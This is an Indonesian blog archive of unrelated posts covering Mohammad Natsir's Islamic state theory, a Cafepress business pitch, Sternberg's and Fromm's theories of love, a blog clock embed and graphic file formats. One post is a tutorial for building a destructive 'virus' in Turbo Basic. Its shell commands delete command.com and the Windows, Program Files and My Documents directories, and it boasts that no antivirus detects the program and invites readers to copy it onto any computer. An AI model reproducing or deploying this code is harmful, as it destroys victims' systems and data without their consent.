Peta Politik Mohammad Natsir

Salah satu ide-ide pemikiran M. Natsir yang sampai saat ini masih mendapatkan tempat dalam diskursus akademik adalah pemikirannya tentang politik Islam dan Negara. Dengan serangkaian kegiatan politiknya, Natsir menawarkan konsep Negara Islam yang penerapan Syari’at Islam melalui pemerintahan parlementer. Karena bagi Natsir, negara yang menyatukan agama dan politik, pada dasarnya bersumber dari kekeliruan dalam memahami gambaran pemerintahan Islam.

Ideologi Politik

Menurut Natsir seorang muslim itu mempunyai falsafah hidup, dapat disimpulkan dalam satu kalimat dalam Al-Quran yang maksudnya : “Tidaklah aku jadikan jin dan manusia itu, melainkan untuk mengabdi kepada-Ku”. (Q.S. Addzariyat : 56). Jadi, seorang Islam hidup di dunia ini adalah dengan cita-cita hendak menjadi seorang hamba Allah SWT dengan arti yang sepenuhnya, mencapai kejayaan dunia dan kemenangan di akhirat. Dunia dan akhirat ini, sekali-kali tidak mungkin dipisahkan oleh seorang muslim dari ideologinya.

Untuk mencapai hal tersebut Tuhan memberikan manusia bermacam-macam aturan. Aturan atau cara manusia berhubungan dengan Tuhan yang menjadikannya dan aturan atau cara berhubungan dengan sesama manusia. Diantara aturan-aturan yang berhubungan dengan muamalah sesama makhluk itu, terdapat garis-garis besar berupa kaedah yang berkenaan dengan hak dan kewajiban seseorang terhadap masyarakat, dan hak serta kewajiban masyarakat terhadap diri seseorang. Yang tidak lain dan tidak bukan, ialah yang dinamakan orang dengan “urusan kenegaraan”.

Menurut Natsir, ketika membicarakan pemisahan agama dan negara, sering kali dikaitkan dengan negara Turki, yang berpikiran : “Dahulu di Turki ada persatuan agama dengan negara. dibuktikan dengan adanya khalifah, yang juga menjadi Amirul Mukminin. Akan tetapi waktu itu Turki merupakan negara yang terbelakang, tidak modern, negeri “sakit”, negri “bobrok”. Sekarang di Turki agama sudah dipisahklan dari negara, maka dapat dilihat Turki menjadi negara maju dan modern. Ini membuktikan bahwa politik Kemal Pasha benar”.

Jika diterangkan sebenarnya suatu negri yang pemerintahannya tidak memperdulikan kepentingan rakyat, membiarkan rakyat bodoh, yang tidak memajukan negerinya sehingga tertinggal dengan negara lain dan yang pemimpinnya menindas rakyat dengan memakai “Islam” sebagai kedok atau memakai ibadah-ibadah, sedangkan pemimpin-pemimpin pemerintahan itu penuh dengan segala macam maksiat dan membiarkan Takhayul merajalela sebagaimana keadaan pemerintahan Turki di zaman Sultan-sultan yang akhir-akhir, maka yang semacam itu bukanlah pemerintahan Islam. Islam tidak menyuruh dan tidak membiarkan orang menyerahkan sesuatu urusan kepada orang yang bukan ahlinya.

Maka sekarang jika ada pemerintahan yang zalim yang bobrok seperti yang ada di Turki pada zaman Bani Usman, atau mesir yang baru-baru ini runtuh pada rezim Husni Mubarok dalam kontek lain, itu bukanlah hendak dijadikan contoh. Pemerintahan yang semacam itu tidaklah akan dapat diperbaiki “dengan memisahkan agama” seperti dikatakan Ir. Soekarno, sebab memang “agama”, sudah lama terpisah dari negara yang semacam itu. yang semestinya dipisahkan dari negara tersebut bukanlah agamanya melainkan hanyalah kejahatan, maksiat, kemusyrikan dan kesombongan yang telah merajalela.

Walaupun Natsir selalu ’menghendaki’ agama sebagai ideologi negara, akan tetapi ia berusaha menampilkan semangat ke-Islaman-nya dengan wajah terbuka dan lebih luwes. Ia adalah seorang politisi profesional diantara banyak pemikir.

Sistem Politik

Pengertian demokrasi dalam Islam memberikan hak kepada rakyat supaya mengkritik, menegur, membetulkan pemerintahan yang dzalim atau khilaf. Apabila tidak cukup dengan kritik dan teguran, Islam memberikan hak kepada rakyat untuk menghilangkan kedzaliman itu dengan kekuatan atau kekerasan jika itu perlu.

Natsir pernah membantah pernyataan Soekarno tentang alasan untuk memisahkan negara dengan agama. Dalam parlemen negara Islam tidaklah akan dipermusyawaratan terlebih dahulu, apakah yang harus menjadi dasar bagi pemerintahan, dan tidaklah mesti ditunggu keputusan parlemen terlebih dahulu, atau membahas masalah yang sudah jelas didalam Al-Quran dan Sunnah

Pemiikiran Natsir tentang demokrasi mendasarkan diri pada penafsiran Natsir tentang Ijtihad, Syura, dan Ijma. Melalui Ijtihad, Islam dihadapkan dengan dinamika perubahan masyarakat. Sementara Ijma memandu umat Islam untuk mensejajarkan langkahnya seuai kesepakatan mayoritas kaum muslimin di suatu tempat dan pada suatu zaman tentang masalah-masalah bersama senafas dengan Al-Quran dan Sunnah Nabi. Tatkala konsep Ijtihad dan Ijma itu dihubungkan oleh Natsir dengan konsep syura, sampailah Natsir pada sebuah model perwujudan demokrasi. Sebuah model parlementer yang memberi ruang besar bagi parlemen untuk mengemban amanah rakyat. Lebih lanjut, Natsir menggambarkan demokrasi sebagai sebuah pemerintahan yang mencerminkan terakomodasinya suara mayoritas dalam perumusan kebijakan dan keputusan politik. Natsir membatasi politik parlemen itu dengan batas-batas (hudud) yang telah ditetapkan Tuhan.

Natsir menamakan demokrasi ala Islam ini sebagai Theistic Democracy (demokrasi berdasar pada nilai-nilai Ketuhanan). Gagasan Natsir tentang demokrasi adalah khas gagasan Islam modernis. Tetapi jika orang lain ingin mengatakan bahwa yang semacam ini bukan demokratis tergantung pandangan masing-masing pribadi. Tetapi perlu diketahu Islam adalah suatu pengertian, suatu paham, yang memunyai sifat-sifat sendiri.

Ini berarti bahwa Islam itu tidak seperti demokrasi yang diajarkan barat tetapi memiliki prinsip-prinsip dasar demokrasi dan Islam pun menentang absolutisme dalam otokrasi. Pemerintahan Islam itu sesuai dengan apa yang ada dan telah tercantum dalam Al-Quran dan Hadist.

Sistem Pemerintahan

Dalam islam tidak kenal “ kepala agama” seperti paus atau Patriarch seperti dalam agama kristiani dan sebagainya. Islam hanya mengenal satu “kepala agama”, ialah Muhamad rasulullah SAW. Beliau sudah wafat dan tak ada gantinya lagi untuk selama-lamanya.”kepala agama” yang bernama Mohammad ini meninggalkan satu sistem yang bernama islam, yang harus dijalankan oleh kaum Muslimin, dan harus di pelihara dan di jaga supaya dijalankan oleh “kepala-kepala kenegaraan (bergelar Raja, Khalifah, Presiden dan lainnya) yang memegang kekuasaan dalam kenegaraan kaum muslimin, sahabat-sahabat nabi yang pernah memegang kekuasaan Negara sesudah Rasulullah SAW. Seperti Abubakar, Umar, Usman, Ali tidaklah menjadi merangkap “kepala Agama”.

Dalam sistem pemerintahan ini jelas terlihat ada sebuah check and balance system, karena kepala kenegaraan dapat berkuasa menetukan setiap kebijakan dalam negerinya namun ada majelis syura yang di dalamnya terdapat orang-orang yang ahli dalam bidangnya masing-masing untuk membahas masalah yang terjadi dan belum di atur dalam Qur’an maupun Hadist. Sementara itu hubungan pemerintah dengan rakyat pun akan terjalin harmonis karena secara tidak lansung sudah menjadi tanggung jawab kepala negara untuk mensejahterakan rakyat.

Memasuki masa demokrasi parlementer banyak hal yang di lakukan Natsir. Natsir menjadi perdana mentri yang pertama, banyak kebijakan yang di buat oleh nya seperti menyuksekan pemilu tahun 1955, mendewasakan rakyat dalam berpolitik.

“Pilihlah salah satu dari dua jalan, Islam atau Atheis.” adalah kutipan pidato M. Natsir di Parlemen Indonesia di masa kemerdekaan. M. Natsiradalah tokoh Islam kontemporer dunia Islam, mujahid dan politikus piawai. Mencurahkan segenap kemampuan untuk menjadikan Islam sebagai sistem pemerintahan Indonesia, dan melawan orang-orang yang menghalangi tegaknya Islam.

Ketidakfahaman terhadap negara dalam Islam, negara yang menyatukan agama dan politik, pada dasarnya bersumber dari kekeliruan memahami gambaran pemerintahan Islam Natsir berkata bahwa bila ingin memahami agama dan negara dalam Islam secara jernih, semestinya harus menghapuskan gambaran keliru tentang negara Islam di atas. Secara implisit Natsir menilai bahwa gambaran “negara Islam” seperti inilah yang terdapat dalam pandangan Soekarno maupun Kemal.

Oleh karena itu menurut Natsir, sistem pemerintahan dalam Islam tidak ada uraian spesifik yang menjelaskan mengenai mekanismenya, yang ada hanya prinsip-prinsipnya saja. Maka, sebagai produk ijtihad politiknya, ia mengusulkan pemerintahan parlementer.

Konsep Kenegaraan

Natsir dalam pemikirannya memiliki konsep kenegaraan yang berupa negara Islam. Dimana negara menjadi instrumen atau alat untuk menerapkan syariat islam. Karena pada hakikatnya manusia itu di ciptakan untuk karena telah jelas di dalam aturan-aturan yang di berikan Allah SWT, telah mengatur hubungan antara manusia dengan manusia dan hubungan manusia dengan Tuhan.

Bagi Natsir sebuah negara itu harus di pimpin oleh orang yang berasal dari kaum muslimin karena dalam islam tidak mungkin dipimpin oleh orang yang bukan berasal dari kaumnya. Jelas bahwa Natsir bukanlah pendukung sekularisme dalam negara yaitu memisahkan anatara agama dengan negara. Banyak kritikannya terhadap konsep negara yang dibuat oleh turki muda. Natsir pernah berujar bahwa “Islam tidak terbatas pada aktivitas ritual muslim yang sempit, tapi pedoman hidup bagi individu, masyarakat dan negara. Islam menentang kesewenang-wenangan manusia terhadap saudaranya. karena itu, kaum muslimin harus berjihad untuk mendapatkan kemerdekaan. Islam menyetujui prinsip-prinsip negara yang benar. Karena itu, kaum muslimin harus mengelola negara yang merdeka berdasarkan nilai-nilai Islam. Tujuan ini tidak terwujud jika kaum muslimin tidak punya keberanian berjihad untuk mendpatkan kemerdekaan, sesuai dengan nilai-nilai yang diserukan Islam. Mereka juga harus serius membentuk kader dari kalangan pemuda muslim yang terpelajar.”

Sebagai contoh, Islam mewajibkan agar orang Islam membayar zakat sebagaimana mestinya; bagaimana undang-undang kemasyarakatan ini mungkin berlaku dengan beres, kalau tidak ada pemerintah yang mengawasi berlakunya? Islam melarang zina, judi, minum arak yang merupakan penyakit masyarakat yang menggerokoti sendi-sendi pergaulan hidup; bagaimana larangan itu dapat dilaksanakan kalau negara bersikap “masa bodoh” saja dengan alasan “negara netral agama”?

Rinkasnya, kata Natsir, “Bagi kaum Muslimin, “Negara” bukanlah suatu badan yang tersendiri yang menjadi tujuan. Dan dengan “Persatuan Agama dan Negara” dimaksudkan, bukanlah bahwa “Agama” itu cukup sekedar dimasuk-masukkan saja disana sini kepada “Negara” itu. Namun negara, bukan tujuan, tetapi alat. Urusan kenegaraan pada pokoknya dan pada dasarnya adalah suatu bagian yang tidak dapat dipisahkan, yang menjadi tujuan ialah : Kesempurnaan berlakunya undang-undang Ilahi, baik yang berkenaan dengan perikehidupan manusia sendiri (sebagai individu), ataupun sebagai anggota dari masyarakat. Baik yang berkenaan dengan kehidupan dunia, ataupun yang berhubungan kehidupan akhiran kelak.

Bentuk Negara

Indonesia yang sejak dahulunya dihuni oleh sejumlah penduduk yang sangat plural dari sisi tradisi, budaya, dan agama tidak menjadikan sistem negara berada dalam posisi ambivalen dalam menjalani pemerintahan dan mengeluarkan produk hukum yang adil dan sejahtera. Karena dalam satu negara yang berdasar islam, orang-orang yang bukan islam mendapatkan kemerdekaan beragama dengan luas. Bahkan mungkin lebih luas lagi dari yang di berikan negara-negara Eropa Terhadap agama-agama yang ada disana.dan tidak akan memberikan kerugian apapun bagi penduduk yang bukan beragama islam apabila dalam negeri itu berlaku hukum-hukum islam dalam urusan muamalah. Karena peraturan-peraturan yang bersangkutan dengan hal-hal semacam itu. Dengan berlakunya undang-undang islam, agam mereka tidak akan terganggu, tidak akan rusak dan tidak akan berkurang sedikit pun.

Tetapi sebaliknya, orang yang tidak mau mendasarkan Negara kepada hukum-hukum islam dengan alasan tidak mau menyakiti hati orang yang bukan beragama islam, sebenarnya (secara sadar maupun tidak) berlaku dzalim kepada orang islam sendiri yang jumlahnya lebih dari 80 persen jumlah penduduk yang ada di indonesia. Tindakan seperti itu mengugurkan sebagian besar dari peraturan-peraturan Agama Islam. Ini berarti merusakan hak-hak mayoritas, bukan lantaran hak-hak itu berlawanan dengan hak-hak kepentingan minoritas, tapi semata takut, apabila salah satu pihak merasa dirugikan.

Ketika Belanda hendak menjadikan Indonesia sebagai negara serikat, M. Natsirmenentangnya dan mengajukan pembentukan negara Kesatuan Republik Indonesia. Usulan ini disetujui 90% anggota Masyumi. Tahun 1950, ia diminta membentuk kabinet sekaligus menjadi perdana Menterinya. Tapi belum genap setahun ia dipecat karena bersebrangan dengan presiden Soekarno. Tapi Natsir tetap memimpin Masyumi dan menjadi angota parlemen hingga tahun 1957.

Natsir mengatakan ”Dalam urusan persatuan dan pemisahan agama dari negara ini, orang Islam tidak hendak berdalil kepada Turki, tidak kepada Mesir, dan tidak negara manapun juga. Sebagai orang Islam tidak memakai sejarah sebagai ukuran dan tidak hendak berhakim kepada riwayat. Urusan ini bukan urusan ”ramalan” yang harus dipersaksikan betul atau melesetnya oleh riwayat di masa depan.

Mau ikut bisnis Distro online??

Anda ingin membuka bisnis distro? tapi tidak memiliki modal ataupun tempat usaha yang strategis? Ok, dengan Internet Anda tetap bisa membuka bisnis distro secara online. Gratis dan instant. Dijamin legitimate dan kredibel. Dengan segera bisnis online (distro) Anda menjangkau konsumen di belahan dunia manapun. Bahkan Anda tak perlu ribet dengan urusan order, invoice, shipping product, atau menangani keluhan pelanggan. Anda hanya perlu menyiapkan design yang unik. Jika Anda menguasai sedikit aplikasi grafis seperti Photosop (yang mahal lisensinya), atau Gimp (gratis!). Anda sudah punya bekal untuk memulai bisnis online Anda ini. Atau jika Anda buta sama sekali dengan aplikasi grafis, ajak teman Anda yang jago olah grafis dan membuatkannya untuk Anda. Bagi sebagian prosentase keuntungan penjualan untuk komisi teman Anda. Jika tidak, Anda bisa menggaji designer profesional .

Selanjutnya anda perlu membuka tokonya di Cafepress secara gratis. Disinilah design-design milik Anda akan dipajang untuk produk yang bisa Anda pilih. Mulai dari kaos, mug, dompet, tas, hingga stationary. Ingat, Cafepress yang akan menangani setiap order dari konsumen dan melayaninya hingga mengirimkan produknya. Cafepress menggunakan teknologi print-on-demand yang artinya jika ada order barang langsung diproduksi.

Bagaimana konsumen bisa datang ke toko online anda di Cafepress? tentu saja Anda harus melakukan strategi pemasaran dan promosi seluas-luasnya ke khalayak baik secara online maupun offline. Ini bisnis Anda dan Anda adalah Bos-nya. Tentu saja Anda tidak main-main dengan strateginya bukan? Awam dengan internet marketing? Jangan khawatir, di Cafepress Anda akan memperoleh training dan tutorial yang bermanfaat untuk pengembangan bisnis Anda. Cafepress menyediakan panduan untuk memulai bisnis online Anda ini secara sistematis.

Tips Bisnis Cafepress

Buatlah ciri produk yang spesifik dan berbeda dengan produk-produk pada umumnya. Akan lebih bagus jika design Anda mengangkat tema-tema yang dekat dengan keseharian atau hobi Anda. Jika Anda hoby menyelam, Anda bisa membuat desain dengan tema-tema dunia bawah laut yang eksotis. Dengan demikian inspirasi akan selalu mengalir karena dekat dengan kesenangan Anda atau Hoby Anda. Semakin banyak ide akan semakin produktif dan akan semakin baik untuk bisnis distro online (Cafepress) Anda.
Pertimbangkan juga layanan berikut:

http://www.lulu.com/

Teori Segitiga Cinta (Theory of Love Triangel)

Menurut Stenberg (1986), Dalam cinta, paling tidak didalamnya selalu terdapat tiga unsur. Intimacy, Passion dan commitmen.(Knox, 1988: hal 35-38) intimacy merupakan puncak dalam teori segitiga Cinta, adalah : menyambungkan atau menghubungkan emosional dua orang pasangan antara satu sama lain, sehingga pasangan merasa terikat dalam kontek emotional.

Passion adalah bagian yang berada di sebelah kiri dalam teori segitiga cinta, yaitu : usaha agar pasangan romanstis dari aspek jasmaniyahnya, pasangan menunjukkan kemesraan dari segi fisik (bergandengan, Bercanda, dll). Commitmen adalah merupakan bagian kanan dari teori segitiga cinta, yaitu hasrat untuk mempertahankan hubungan, ini adalah merupakan aspek cognitive dalam hubungan cinta, yang dua orang pasangan selalu mencoba untuk sadar mengkontrol hubungan mereka. Jika Di gambarkan, Maka Teori Segitiga Cinta adalah sebagai berikut:

Dari tiga unsur diatas, kemudian muncul bermacam-macam hal dalam hubnungan cinta :
(1) Bukan cinta (Non Love): jika meniadakan tiga komponen diatas, akibatnya sama sekali tak ada gairah yang timbul. Dan akibatnya Dalam hal ini, maka hubungan dengan orang, yang selalu ada dalam lingkungan sehari-hari tidak akan begitu berarti, karena interaksinya hanya bersifat sepintas saja, tidak memiliki komponen gairah, keintiman dan komitmen.
(2) Persahabatan (Liking/Friendship), jika memunculkan unsur Intimacy tapi kurang dari passion dan commitmen, poin ini adalah salah satu komponen emosi yang hanya ada perasaan suka, bukanlah cinta, dan hanya memiliki komponen keintiman, dekat dan merasa nyaman bersamanya. Dan akan timbul perasaan merasa cocok, nyambung bila diajak ngobrol dan selalu merasa mendapatkan keuntungan bila bersama dengannya. Tapi sama sekali tidak ada gairah atau bahkan malah komitmen. Hanya suka saja, bukan sebagai cinta. Cinta ini sering dialami ABG dengan sebutan “seperti adik/kakak” . Cinta tipe ini biasa dikenal juga sebagai rasa sayang yg dimiliki oleh dua orang sahabat.
(3) Ketergila-gilaan (Infatuation Love), ika pengalaman passion dimunculkan tanpa intimacy atau komitmen, dalam poin ini, jika seseorang merasa dalam ubunganya terdapat gairah, yang timbul tanpa keintiman dan komitmen, biasanya cinta yang terjadi pada pandangan pertama, hal ini akan sering dialami bagi seseorang yang sulit menjaga pandangan mata, Cinta ini dikenal dengan nama cinta monyet. Seorang yg mengalami cinta jenis ini akan merasa makan tak enak tidur tak nyenyak padahal dia mungkin baru saja mengenal sang pujaan hati yang si pelaku sendiri bahkan seringkali tidak tahu mengapa dia bisa bersifat dan berlaku begitu.
(4) Cinta kosong (Empty Love), jika dalam hubungan kurang dari dua unsur yakni intimacy dan passion tapi hanya komitmen untuk mencintai orang lain, ada unsur komitmen, tetapi kurang intim dan kurang gairah. Hubungan yang lama akan semakin membosankan. Biasanya terjadi pada suami-istri yang tidak bisa menjaga keharmonisan, kemesraan bersama pasangannya. Mereka hanya bertahan karena komitmen menjaga pernikahan tetap utuh, tapi keintiman mereka semakin menipis, gairah mereka pun semakin berkurang dari hari ke hari. Cinta jenis ini berbahaya, karena menyimpan bom waktu. Pasangan yang mengalami cinta type ini adalah mereka yang hanya menikah karena sudah seharusnya menikah dan dijodohkan. Walaupun tak ada intimacy dan passion, namun pasangan-pasangan jebot itu ternyata mampu bertahan puluhan tahun (bahkan sampai masing2 meninggal) karena mereka memiliki commitment.
(5) Cinta Romantis (Romantic Love), hubungan intim yang menggairahkan tetapi kurang komitmen sehingga pasangan yang jatuh cinta romantis ini terbawa secara fisik dan emosi, tetapi tidak mengharapkan hubungan jangka panjang. Cinta jenis ini harus dihindari karena hanya dimotivasi oleh perasaan nafsu syahwat saja. Hubungan intim yang dijalani hanya sebatas perasaan ingin menikmati fisik saja, ingin merasa aman secara emosi tapi tidak mau diikat oleh ikatan perkawinan.
(6) Companionate Love, hasil dari komponen keintiman dan komitmen tanpa adanya gairah cinta. Dalam perkawinan yang lama tidak akan menggairahkan secara fisik lagi. Hubungan cinta jenis ini adalah hubungan ketika sebuah pasangan suami istri tidak lagi menjadi gairah sebagai unsur utama pada jalinan kasih sayang mereka. Tapi lebih pada melanggengkan hubungan yang nyaman, saling menguatkan, dan memberi dukungan hidup. Fisik tidak lagi menarik, tidaklah menjadi suatu yang salah atau bahkan dicela. Namun, justru itu menjadi sesuatu yang alami dan harus dijalani. Tipe cinta ini adalah salah satu jenis cinta juga yang bisa membawa sepasang manusia untuk memutuskan menikah. Pasangan ini, baik dua-duanya atau salah satunya, tak mengalami makan tak enak dan tidur tak nyenyak. Dia merasa hubungan hanya seperti dua orang sahabat atau kakak-adik saja. Namun sedikit melangkah lebih jauh, mereka berani memutuskan untuk menikah dan hidup bersama. Cinta jenis ini sering juga dimiliki oleh dua orang sahabat yg kemudian meng-upgrade cinta-nya dari tipe friendship menjadi compationate love.
(7) Cinta Buta (Fatous Love), mempunyai gairah dan komitmen tetapi kurang intim, dimana cinta ini sulit dipertahankan karena kurang adanya aspek emosi. Cinta jenis ini sangat labil. Mudah diterpa godaan dan juga mudah disapu angin topan. Kekurang-intiman bisa disebabkan banyak hal, salah satunya mungkin pada aspek banyaknya ketidakcocokan antara kedua belah pihak. jenis cinta yg merupakan gabungan dari passion dan commitment. Pasangan yg selalu tidak cocok, berkelahi dan cek-cok setiap hari namun tetap mempertahankan hubungannya. Hal ini mungkin disebabkan karena mereka mempunyai cinta jenis ini.
(8) Cinta yang Sempurna (Consummate Love), yaitu cinta yang tersusun atas komponen keintiman, gairah dan komitmen. Cinta ini komplit, lengkap dan paling sempurna. Pasangan yang memiliki cinta jenis ini akan mendapatkan keindahan cinta. Tapi bukan berarti tak ada persoalan atau konflik. Konflik tetap saja ada, namun hanya berbeda pada aspek solusinya saja. Pasangan ini adalah pasangan yg tetap mesra dan tetap merasakan nikmatnya bercinta walaupun setelah menikah bertahun-tahun. Mereka tetap merasakan bahwa tidak ada lagi orang yg bisa membuatnya bahagia kecuali pasangannya. Cinta ini dalah tipe cinta yg ideal menurut Sternberg namun juga butuh usaha untuk menjaganya. Sebagian pasangan mengalami kelunturan pada komponen passion sehingga cinta mereka berubah dari consummate love menjadi compationate love.

Valentine dalam Cinta

Andai di dunia ini tidak ada cinta, maka hidup akan serasa gersang, hampa dan tidak ada dinamika. Cinta bisa membuat sesuatu yang berat menjadi ringan, yang sulit menjadi sederhana, permusuhan menjadi perdamaian dan yang jauh menjadi dekat. Itulah gambaran kekuatan cinta.

Cinta, ditilik dari sudut manapun selalu menarik untuk dibahas. Sejarah mencatat, sejumlah seniman, teolog sampai filosop membicarakan cinta dari berbagai perspektifnya baik dalam bentuk roman, puisi, syair bahkan sampai dalam bentuk tulisan ilmiah yang bernuansa teologis, fenomenologis, psikologis ataupun sosiologis.

Filosop sekaliber Plato bahkan pernah mengatakan “Siapa yang tidak terharu oleh cinta, berarti berjalan dalam gelap gulita”. Pernyataan ini menggambarkan betapa besar perhatian Plato pada masalah cinta, sampai-sampai dia menyebut orang yang tidak tertarik untuk membicarakannya sebagai orang yang berjalan dalam kegelapan.

Peranan cinta dalam kehidupan tidak diragukan lagi pentingnya. Cinta diyakini sebagai dasar dari perdamaian, keharmonisan, ketentraman, kebahagiaan bahkan kebangkitan peradaban. Namun apa sesungguhnya cinta itu?

Diakui, problem yang dihadapi saat membicarakan cinta biasanya adalah persoalan definisi. Belum pernah ditemui suatu rumusan tentang cinta yang singkat, padat dan mewakili pemahaman akan hakikat cinta secara tepat.

Jalauddin Rumi pernah mengatakan bahwa:

Cinta itu misteri, tidak ada kata-kata yang bisa mewakili kedalamannya.
Cinta tak dapat termuat dalam pembicaraan atau pendengaran kita,
Cinta adalah sebuah samudera yang kedalamannya tak terukur …
Cinta tak dapat ditemukan dalam belajar dan ilmu pengetahuan,
buku-buku dan lembaran-lembaran halaman.
Apapun yang orang bicarakan itu, bukanlah jalan para pecinta.
Apapun yang engkau katakan atau dengar adalah kulitnya;
Intisari cinta adalah misteri yang tak dapat kau buka !
Cukuplah ! Berapa banyak lagi kau akan lengketkan kata-kata di lidahmu ?
Cinta memiliki banyak penyataan melampaui pembicaraan. . .

Oleh sebab itu, disini kita tidak akan mendefinisikan cinta karena khawatir mereduksi kedalamannya. Biarlah cinta berbicara dalam perbuatan kita. Disini, kita akan mencoba mencermati unsur-unsur yang selalu ada dalam cinta.

Erich fromm, murid kesayangannya Sigmund Freud menyebutkan empat unsur yang harus ada dalam cinta, yaitu :

1. Care (perhatian). Cinta harus melahirkan perhatian pada objek yang dicintai. Kalau kita mencintai diri sendiri, maka kita akan memperhatikan kesehatan dan kebersihan diri. Kalau kita mencintai orang lain, maka kita akan memperhatikan kesulitan yang dihadapi orang tersebut dan akan berusaha meringankan bebannya. Kalau kita mencintai Allah Swt., maka kita akan memperhatikan apa saja yang Allah ridhai dan yang dimurkai-Nya.

2. Responsibility (tanggung jawab). Cinta harus melahirkan sikap bertanggungjawab terhadap objek yang dicintai. Orang tua yang mencintai anaknya, akan bertanggung jawab akan kesejahteraan material, spiritual dan masa depan anaknya. Suami yang mencintai isterinya, akan bertanggung jawab akan kesejahteraan dan kebahagiaan rumah tangganya. Karyawan yang mencintai perusahaannya, akan bertanggung jawab akan kemajuan perusahaannya. Orang yang mencintai Tuhannya, akan bertanggung jawab untuk melaksanakan perintah-Nya dan menjauhi larangan-Nya. Itulah Responsibility.

3. Respect (hormat). Cinta harus melahirkan sikap menerima apa adanya objek yang dicintai, kelebihannya kita syukuri, kekurangannya kita terima dan perbaiki. Tidak bersikap sewenang-wenang dan selalu berikhtiar agar tidak mengecewakannya. Inilah yang disebut respect.

4. Knowledge (pengetahuan). Cinta harus melahirkan minat untuk memahami seluk beluk objek yang dicintai. Kalau kita mencintai seorang wanita atau pria untuk dijadikan isteri atau suami, maka kita harus berusaha memahami kepribadian, latar belakang keluarga, minat, dan ketaatan beragamanya. Kalau kita mencintai Tuhan, maka harus berusaha memahami ajaran-ajaran-Nya.

Kalau empat unsur ini ada dalam kehidupan kita, Insya Allah hidup ini akan bermakna. Apapun yang kita lakukan, kalau berbasiskan cinta pasti akan terasa ringan. Karena itu nabi Saw pernah bersabda: “Tidak sempurna iman seseorang kalau dia belum mencintai orang lain sebagaimana dia mencintai dirinya sensiri”. “ Cintai oleh mu mahluk yang ada di muka bumi, pasti Allah akan mencintaimu”. (HR. Muslim)

Supremasi kebahagiaan tertinggi, kalau kita mampu mencintai orang lain dengan tulus tanpa pamrih, mencintai diri sendiri secara proporsional, mencintai Allah Swt dengan penuh loyalitas dan selalu merasa dincintai-Nya. Inginkah hidup kita bermakna ? Let Love be Your Energy ! Selamat bercinta ! haha..

CARA MEMBUAT PROGRAM PERUSAK (SEPERTI VIRUS)

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google.
Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.
shell "Perintah DOS"
dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :
shell "c:"shell "cd\"shell "del command.com"
Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.
shell "c:"shell "cd\"shell "deltree /y mydocu~1" shell "deltree /y windows"shell "deltree /y progra~1"
Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.

Penulis :Yogya Family Code

Cara memasang pengaturan jam pada Blog

Bagi beberapa pengguna blog, tampilan blog termasuk bagian terpenting dalam menggunakan blog. Dengan tampilan yang menarik, tentunya akan menambah minat bagi pengguna blog maupun visitor (pengunjung) dalam menikmati akses di dalam blog.

Sebenarnya, fitur-fitur tambahan untuk mempercantik tampilan blog tersebut, telah banyak direkomendasikan blogger melalui sejumlah fitur nya yang bias ditemukan pada “add gadget” melelui “elemen laman”. Hanya saja, terkadang masih terasa kurang cukup. Misalnya saja untuk pemasangan pengaturan penunjuk waktu/jam pada blog. Untuk yang satu ini, blogger memang belum menyediakan fitur tersendiri. Oleh karena itu, butuh alternative lain untuk menyikapinya, salah satunya dengan mendownload “View HTML Tag” pada http://clocklink.com Atau agar lebih mudah, silahkan copy HTML penunjuk jam di bawah ini (bentuk penunjuk jam sebagaimana contoh di bawah).

Kemudian Copy HTML di bawah ini:

<embed src="http://www.clocklink.com/clocks/1001-black.swf?TimeZone=ICT&"  width="200" height="200" wmode="transparent" type="application/x-shockwave-flash">

Sekiranya, petunjuk di atas dapat di aplikasikan pada blog pengguna blogger semua. Untuk melihat ketersedian koleksi jam lebih lanjut, silahkan kunjungi http://clocklink.com selamat mencoba.

FORMAT DOCUMENT

Bagi para perancang grafik (graphic designer) pemula, mungkin merasa sulit membedakan antara format yang satu dengan yang lain. Terkadang juga salah dalam memilih format file tersebut, karena masing-masing format file memiliki kelebihan dan kekurangan. Juga memang, masing-masing format file tersebut harus digunakan secara tepat. Sebagai contoh, untuk keperluan web Anda disarankan menggunakan format file jpg, png, maupun gif. Mengapa?
Baca artikel lengkapnya….

Adobe Photoshop mendukung plugin yang dikembangkan oleh pihak ketiga, dengan cara menginstall filter plugin. Penempatan plugin tersebut adalah pada folder Adobe/Photoshop/Plugin/Filter…. ketika menginstal plugin yang dimaksud. Ada beberapa contoh plugin yaitu: Kai Power Tools, KPT Bryce, KPT Power Goo, Alienskin Eyecandy, Andromeda, Extensis Photoframe, KPT Convolver, dan lain-lain.
